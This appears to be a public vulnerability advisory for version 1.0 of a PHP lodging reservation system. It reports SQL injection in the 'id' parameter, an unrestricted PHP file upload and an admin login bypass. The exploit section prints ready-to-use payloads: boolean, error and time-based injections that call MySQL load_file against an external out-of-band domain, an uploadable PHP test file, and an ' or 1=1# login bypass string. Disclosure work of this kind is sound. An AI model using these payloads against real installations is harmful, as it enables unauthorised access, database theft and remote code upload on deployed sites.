Authored by nu11secur1ty

LRMS PHP version 1.0 suffers from remote shell upload and multiple remote SQL injection vulnerabilities.

## Titles: LRMS-PHP-by-oretnom23-v1.0 hat-trick
1. Multiple-SQLi
2. File Upload
3. SQLi Bypass Authentication:
## Latest update from the vendor: 5 hours 32 minutes ago
## Author: nu11secur1ty
## Date: 04/17/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection,
https://portswigger.net/web-security/file-upload,
https://portswigger.net/web-security/authentication

## Description:
SQLi: The id parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.stupid.comfsb'))+'
was submitted in the id parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.The attacker can get all information from the system by
using this vulnerability!
STATUS: HIGH- Vulnerability

---------------------------------------------------------------------------------------------------------------------------------------
FU:
Using this vulnerability, the attacker can upload any PHP file on the server.
The parameter id="cimg" is not sanitizing securely.
STATUS: CRITICAL- Vulnerability

---------------------------------------------------------------------------------------------------------------------------------------
SQLi-Bypass-Authentication:
The attacker can bypass the admin login form and login to the system
by using this vulnerability.
The parameter username is not sanitized securely.
STATUS: CRITICAL- Vulnerability

[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select
load_file('\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.comfsb'))+''
OR NOT 5694=5694 AND 'FJxl'='FJxl

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select
load_file('\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.comfsb'))+''
OR (SELECT 7377 FROM(SELECT COUNT(*),CONCAT(0x7178787a71,(SELECT
(ELT(7377=7377,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'GMnz'='GMnz

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select
load_file('\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.comfsb'))+''
AND (SELECT 4559 FROM (SELECT(SLEEP(7)))zROX) AND 'HxzI'='HxzI
---
```

- FU:
```
<?php
phpinfo();
?>
```

- SQLi - Bypass-Authentication:
```
username: nu11secur1ty' or 1=1#
password: blank
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/%20hat-trick/LRMS-PHP-by-oretnom23-v1.0)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/04/lrms-php-by-oretnom23-v10-hat-trick.html)

## Time spent:
01:35:00